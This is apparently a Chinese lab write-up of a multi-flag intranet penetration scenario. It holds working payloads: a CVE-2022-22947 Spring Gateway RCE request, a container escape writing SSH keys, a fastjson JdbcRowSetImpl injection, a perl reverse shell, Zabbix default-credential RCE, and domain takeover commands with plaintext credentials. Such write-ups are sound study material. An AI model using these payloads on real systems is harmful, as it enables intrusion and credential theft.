外网打点

靶标介绍

本场景以内网常见服务为基础,构造了一套办公网络环境,你现在作为一名渗透工程师,你的任务是通过信息收集、权限提升、横向移动、服务利用等内网渗透技术,逐步获取场景内的4个flag作为你的成就目标进行提交

信息收集

访问目标的 80 端口,页面如下:

使用 fscan 进行扫描,开放了如下端口:

  • 22(SSH)
  • 80(web 政务服务平台)
  • 8080 (SpringBoot)

通过 fscan 的结果发现存在 env 信息泄露,访问查看 /actuator

访问 /actuator/env 发现并相关密码和 AK/SK,故而 heapdump 文件的下载意义就没有了,经过查看端点信息,发现存在 gateway 接口

尝试使用 2022 年爆发的相关漏洞进行利用。

CVE-2022-22947 利用

漏洞利用

相关漏洞利用链接:https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22947

查看当前所有的 routers :

利用 POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST /actuator/gateway/routes/exploit HTTP/1.1
Host: x.x.x.x:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Type: application/json
Content-Length: 328

{
"id": "exploit",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}

刷新:

1
POST /actuator/gateway/refresh

查看当前 routes,已经成功执行命令。

1
2
GET /actuator/gateway/routes
GET /actuator/gateway/routes/exploit

注入内存马

这里注入内存马所使用的脚本为:https://github.com/0730Nophone/CVE-2022-22947-/blob/main/exp.py

使用哥斯拉默认密码直接连接

拿到 shell 之后发现是容器环境,根目录下存在 .dockerenv文件,经过测试发现该容器不出网,上传 CDK 文件检测是否符合逃逸条件。

容器逃逸

拿到政务平台的 root 权限之后,发现是容器环境,上传 CDK 文件 发现存在文件上传大小限制,使用 upx 命令对 CDK 工具压缩之后,分割进行上传。

1
split -b 100k cdk_linux_amd64 cdk.part. # 每100k为一个文件

1
cat cdk.part.* > cdk_linux # 合并为一个完整的文件

合并之后建议进行 md5 计算,防止合并不完整。

1
./cdk_linux evaluate --full # 容器内信息收集

根据结果发现存在挂载,目标机器对外开放了 22 端口,直接写 ssh 公钥连接,攻击端创建 ssh 公私钥:

写入 ssh 公钥

1
2
./cdk_linux run mount-procfs /host/proc/ "mkdir /root/.ssh/"
./cdk_linux run mount-procfs /host/proc/ 'echo xxxxxxxxxxxxx >> /root/.ssh/authorized_keys'

通过私钥连接至服务器:

查看 FLAG 值:

外网主机信息收集

查看当前主机 ip 信息。

上传相关工具对当前内网网段端口扫描信息收集:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
root@platform:~# ./fscan -h 172.16.22.0/24
┌──────────────────────────────────────────────┐
│ ___ _ │
│ / _ \ ___ ___ _ __ __ _ ___| | __ │
│ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / │
│ / /_\\_____\__ \ (__| | | (_| | (__| < │
│ \____/ |___/\___|_| \__,_|\___|_|\_\ │
└──────────────────────────────────────────────┘
Fscan Version: 2.0.0

[2026-01-09 15:35:06] [INFO] 暴力破解线程数: 1
[2026-01-09 15:35:07] [INFO] 开始信息扫描
[2026-01-09 15:35:07] [INFO] CIDR范围: 172.16.22.0-172.16.22.255
[2026-01-09 15:35:07] [INFO] 生成IP范围: 172.16.22.0.%!d(string=172.16.22.255) - %!s(MISSING).%!d(MISSING)
[2026-01-09 15:35:07] [INFO] 解析CIDR 172.16.22.0/24 -> IP范围 172.16.22.0-172.16.22.255
[2026-01-09 15:35:07] [INFO] 最终有效主机数量: 256
[2026-01-09 15:35:07] [INFO] 开始主机扫描
[2026-01-09 15:35:07] [SUCCESS] 目标 172.16.22.12 存活 (ICMP)
[2026-01-09 15:35:07] [SUCCESS] 目标 172.16.22.14 存活 (ICMP)
[2026-01-09 15:35:07] [SUCCESS] 目标 172.16.22.41 存活 (ICMP)
[2026-01-09 15:35:07] [SUCCESS] 目标 172.16.22.88 存活 (ICMP)
[2026-01-09 15:35:07] [SUCCESS] 目标 172.16.22.253 存活 (ICMP)
[2026-01-09 15:35:10] [INFO] 存活主机数量: 5
[2026-01-09 15:35:10] [INFO] 有效端口数量: 233
[2026-01-09 15:35:10] [SUCCESS] 端口开放 172.16.22.14:80
[2026-01-09 15:35:10] [SUCCESS] 端口开放 172.16.22.12:80
[2026-01-09 15:35:10] [SUCCESS] 端口开放 172.16.22.88:22
[2026-01-09 15:35:10] [SUCCESS] 端口开放 172.16.22.14:22
[2026-01-09 15:35:10] [SUCCESS] 端口开放 172.16.22.12:22
[2026-01-09 15:35:10] [SUCCESS] 端口开放 172.16.22.41:88
[2026-01-09 15:35:10] [SUCCESS] 端口开放 172.16.22.88:80
[2026-01-09 15:35:10] [SUCCESS] 端口开放 172.16.22.41:389
[2026-01-09 15:35:10] [SUCCESS] 端口开放 172.16.22.41:139
[2026-01-09 15:35:10] [SUCCESS] 端口开放 172.16.22.41:135
[2026-01-09 15:35:10] [SUCCESS] 端口开放 172.16.22.41:445
[2026-01-09 15:35:10] [SUCCESS] 服务识别 172.16.22.88:22 => [ssh] 版本:8.2p1 Ubuntu 4ubuntu0.13 产品:OpenSSH 系统:Linux 信息:Ubuntu Linux; protocol 2.0 Banner:[SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.13.]
[2026-01-09 15:35:10] [SUCCESS] 服务识别 172.16.22.14:22 => [ssh] 版本:8.9p1 Ubuntu 3ubuntu0.13 产品:OpenSSH 系统:Linux 信息:Ubuntu Linux; protocol 2.0 Banner:[SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.13.]
[2026-01-09 15:35:10] [SUCCESS] 服务识别 172.16.22.12:22 => [ssh] 版本:8.9p1 Ubuntu 3ubuntu0.13 产品:OpenSSH 系统:Linux 信息:Ubuntu Linux; protocol 2.0 Banner:[SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.13.]
[2026-01-09 15:35:15] [SUCCESS] 服务识别 172.16.22.14:80 => [http]
[2026-01-09 15:35:15] [SUCCESS] 服务识别 172.16.22.41:88 =>
[2026-01-09 15:35:15] [SUCCESS] 服务识别 172.16.22.41:139 => Banner:[.]
[2026-01-09 15:35:15] [SUCCESS] 服务识别 172.16.22.41:389 =>
[2026-01-09 15:35:16] [SUCCESS] 服务识别 172.16.22.41:445 =>
[2026-01-09 15:35:16] [SUCCESS] 端口开放 172.16.22.12:8080
[2026-01-09 15:35:16] [SUCCESS] 服务识别 172.16.22.88:80 => [http]
[2026-01-09 15:35:16] [SUCCESS] 端口开放 172.16.22.88:8080
[2026-01-09 15:35:16] [SUCCESS] 服务识别 172.16.22.12:80 => [http]
[2026-01-09 15:35:19] [SUCCESS] 端口开放 172.16.22.14:10051
[2026-01-09 15:35:21] [SUCCESS] 服务识别 172.16.22.88:8080 => [http]
[2026-01-09 15:35:23] [SUCCESS] 服务识别 172.16.22.14:10051 =>
[2026-01-09 15:35:31] [SUCCESS] 服务识别 172.16.22.12:8080 => [http]
[2026-01-09 15:36:15] [SUCCESS] 服务识别 172.16.22.41:135 =>
[2026-01-09 15:36:15] [INFO] 存活端口数量: 14
[2026-01-09 15:36:16] [INFO] 开始漏洞扫描
[2026-01-09 15:36:16] [INFO] 加载的插件: findnet, ldap, ms17010, netbios, smb, smb2, smbghost, ssh, webpoc, webtitle
[2026-01-09 15:36:16] [SUCCESS] NetBios 172.16.22.41 DC:ZWFW\DC
[2026-01-09 15:36:16] [SUCCESS] 网站标题 http://172.16.22.88 状态码:200 长度:4531 标题:政务内网资源下载
[2026-01-09 15:36:16] [SUCCESS] 网站标题 http://172.16.22.12 状态码:200 长度:10032 标题:政务服务平台 - 门户与办事大厅
[2026-01-09 15:36:16] [SUCCESS] 网站标题 http://172.16.22.14 状态码:200 长度:10671 标题:Apache2 Ubuntu Default Page: It works
[2026-01-09 15:36:16] [SUCCESS] NetInfo 扫描结果
目标主机: 172.16.22.41
主机名: DC
发现的网络接口:
IPv4地址:
└─ 172.16.22.41
[2026-01-09 15:36:16] [SUCCESS] 网站标题 http://172.16.22.88:8080 状态码:404 长度:306 标题:无标题

根据扫描结果发现有多个 web 服务,于是搭建隧道,通过浏览器访问。

搭建代理

经过测试,服务器主机不出网,因此无法使用常规的手段,如使用 Stowaway 连接代理服务端,这里使用 vshell 生成正向 shell 程序上线。

接着将程序通过 ssh 上传到目标主机执行,会开放 8090 端口,该端口为后门端口,使用 vshell 客户端连接即可。


需要注意的是,这个隧道代理指定的端口为 11080 端口,该端口为 vshell 部署的服务器所开放,并非目标主机开放。

内网渗透

政务服务器 172.16.22.88

政务 app 逆向

使用刚刚启用的二级代理,访问内网系统:http://172.16.22.88 下载相关 apk 文件。

拖到安卓模拟器进行安装,如果是 root 的机器打开会闪退,使用 magisk 工具的 root 排除模块,将该 APP 所排除就可以正常打开了。

这里政务 app 的服务端使用的也是内网地址,我这里是在模拟器上配置 burp 的代理,在 burp 上配置的 socks 端口,抓取登录的数据包发现请求体进行了加密。

编译之前先使用 APK 查壳工具,发现没有加壳。使用 jadx 工具对 APK 进行反编译查看其请求体加密逻辑

其加密逻辑在 com.example.Mobile#sendLoginRequest方法中:

查看其 Simple 模块的代码,该代码是完整的代码,可以看到 sendLoginRequest 方法的完整逻辑。

其加密方法实现逻辑如下:

  • 先把 username、password 封装成 LoginData(username, password),再用 JSON.toJSONString 生成明文 JSON。
  • 随机生成 AES-128 密钥:KeyGenerator.getInstance(“AES”) + init(128) + generateKey()。
  • 使用 AES/GCM/NoPadding 加密明文 JSON:Cipher.init(ENCRYPT_MODE, aesKey),由库生成随机 IV。cipher.doFinal(plaintext) 得到密文(包含 GCM tag)。
  • IV || ciphertext 拼接(IV 在前)。
  • 将 IV+ciphertext 做 Base64,并去除 \n、\r,这个字符串就是请求体。

其中 AES 的密钥用硬编码 RSA 公钥加密:

  • 公钥是硬编码的 X.509 Base64 字符串(见字节码常量)。
  • RSA/ECB/PKCS1Padding 加密 aesKey.getEncoded()。
  • 将加密后的 AES 密钥 Base64 后放到请求头 X-Encrypted-Key。
  • 请求头 Content-Type: application/octet-stream,POST body 发送的是 Base64 字符串(IV+ciphertext)。

由于其 AES 密钥是通过 RSA 算法加密的,硬编码的是 RSA 公钥,如若解密需要 RSA 私钥,该私钥一般存储在服务器上,所以只有服务器可以解密该数据。

但是我们有了 RSA 公钥只有,可以任意加密请求体的内容,这里让 AI 写一个加密实现脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
import argparse
import base64
import json
import os
from collections import OrderedDict

from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes


PUBLIC_KEY_B64 = (
"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnKum2FOeaPQumhLBpRauv+"
"OMB6pkdqACjbZYkzzP8CZgjwEwmKauXLxzur1beldNDlVnUs83CnnvanPIYW3oP56t0"
"SoqDmWviBTBJ2aCjtrztFYjBixZEYJ2Exp9f6cdFuSMiucPyuhwY8AuFWnGPJ3Mwt8L"
"8ouV9Lc6Ptp67fCZ0aHr1BVu+pXvHVktbcmeCt+61dnyd9iXTDZfIQ9rwrDsTlkEYOR"
"N0hckpFWvgaoNXhXm60ioLkk/qtPZSjir0bpDL0w0iZ3+wRJLtUOe3KyGx+C00S5w2c"
"M0Zw1XlmRQ08yj1nObVkaVsfEU8sSk/XFVnuCrO9YfQCa1uxm5ZQIDAQAB"
)


def build_login_json(username: str, password: str, raw_json: str | None) -> str:
if raw_json is not None:
return raw_json
data = OrderedDict(
[
("password", password),
("username", username),
]
)
return json.dumps(data, separators=(",", ":"), ensure_ascii=False)


def encrypt_payload(plaintext: str) -> tuple[str, str]:
aes_key = os.urandom(16)
iv = os.urandom(12)
encryptor = Cipher(
algorithms.AES(aes_key),
modes.GCM(iv),
backend=default_backend(),
).encryptor()
ciphertext = encryptor.update(plaintext.encode("utf-8")) + encryptor.finalize()
body_raw = iv + ciphertext + encryptor.tag
body_b64 = base64.b64encode(body_raw).decode("ascii")

pub_bytes = base64.b64decode(PUBLIC_KEY_B64)
public_key = serialization.load_der_public_key(pub_bytes, backend=default_backend())
enc_key = public_key.encrypt(aes_key, padding.PKCS1v15())
enc_key_b64 = base64.b64encode(enc_key).decode("ascii")
return enc_key_b64, body_b64


def parse_args() -> argparse.Namespace:
parser = argparse.ArgumentParser(
description="Generate encrypted login payload matching MainActivity",
)
parser.add_argument("--username", help="Login username")
parser.add_argument("--password", help="Login password")
parser.add_argument(
"--json",
dest="raw_json",
help="Raw JSON string to encrypt (overrides username/password)",
)
return parser.parse_args()


def main() -> int:
args = parse_args()
if args.raw_json is None and (args.username is None or args.password is None):
print("error: provide --json or both --username and --password", file=sys.stderr)
return 1

plaintext = build_login_json(args.username, args.password, args.raw_json)
enc_key_b64, body_b64 = encrypt_payload(plaintext)

print("plaintext_json:", plaintext)
print("\n")
print("X-Encrypted-Key:", enc_key_b64)
print("\n")
print("body_base64:", body_b64)
return 0


if __name__ == "__main__":
import sys

raise SystemExit(main())

这里对脚本进行测试:

1
python3 encrypt_login.py --json '{"password":"123456","username":"alice"}'

发现可以使用,进行查看 jadx,发现存在 fastjson 依赖,查看其版本:

fastjson 1.2.24 反序列化

这里打 fastjson 1.2.24 JdbcRowSetImpl 反序列化

1
2
3
4
5
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"RMI、LDAP、DNS",
"autoCommit":true
}

使用 javachains 项目生成反序列化注入的内存马,由于该主机不出网故而需要在入口机器部署 java-chains 项目。

相关访问信息会在控制台打印:

1
python3 encrypt_login.py --json '{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://172.16.22.12:50388/3852b5","autoCommit":true}'

生成加密请求体内容

注入内存马

根据 javachains 提供的在哥斯拉进行挂上代理进行连接。

经过测试发现,该主机并非容器内环境。

查看网络信息并无其他网段,因此该机器就到此为止。

zabbix 172.16.22.14

访问该主机默认页面是 Ubuntu 的 apache 发布页。

使用 dirsearch 工具挂代理进行目录扫描,发现存在 zabbix 目录。

1
dirsearch -u http://172.16.22.14/ --proxy socks5h://120.48.128.24:11080

使用默认密码 Admin/zabbix 登录到 zabbix 后台:

利用后台的功能直接 RCE:

使用 Linux 自带的 perl 反弹 shell,在反弹 shell 之前先将 busybox 上传到入口机器,监听 4444 端口:

接着创建脚本,内容如下:

1
perl -e 'use Socket;$i="172.16.22.12";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

执行 check2 脚本:

反弹 shell 之后发现是普通用户 zabbix,使用 find 命令查看 suid 命令,发现 ss 存在,使用该命令读取 FLAG 值。

1
2
find / -perm -u=s -type f 2>/dev/null
ss -a -F /flag.txt

接着查看 zabbix 后台用户认证模块,发现配置了域认证:

尝试从配置文件中查看 ldapadmin 的密码,发现无权查看,使用拥有 SUID 权限的 ss 命令,也只能查看文件中的第一行内容:(因为文件内容实际上已被 ss 命令解析,因此只有第一行的一部分作为错误消息的一部分返回。)

最终使用弱口令连接上 zabbix 数据库:zabbix/password,从数据库中查询域用户 ldapadmin 密码信息为: ldapadmin/XpVLGkQHm8

1
mysql -uzabbix -ppassword -e "select * from zabbix.userdirectory_ldap\G"

DC 信息收集

使用 bloodhound 收集域内信息:

1
bloodhound-ce-python -u ldapadmin -p XpVLGkQHm8 -d zwfw.com -dc DC.zwfw.com -ns 172.16.22.41 -c all --auth-method ntlm --dns-tcp --zip

截图中的 pq 为 proxychains4。

通过 BloodHoud 工具导入进行分析,发现可以使用域用户 ldapadmin 凭据,通过 WinRM 可以登录到 DC,在注册表中,发现域管密码:administrator / a4Z6FcRYSp6LLSGO

1
proxychains -q evil-winrm -i 172.16.22.41 -u ldapadmin -p XpVLGkQHm8

1
proxychains -q nxc smb 172.16.22.41 -u administrator -p a4Z6FcRYSp6LLSGO --codec GBK -x 'type C:\Users\Administrator\Desktop\flag.txt'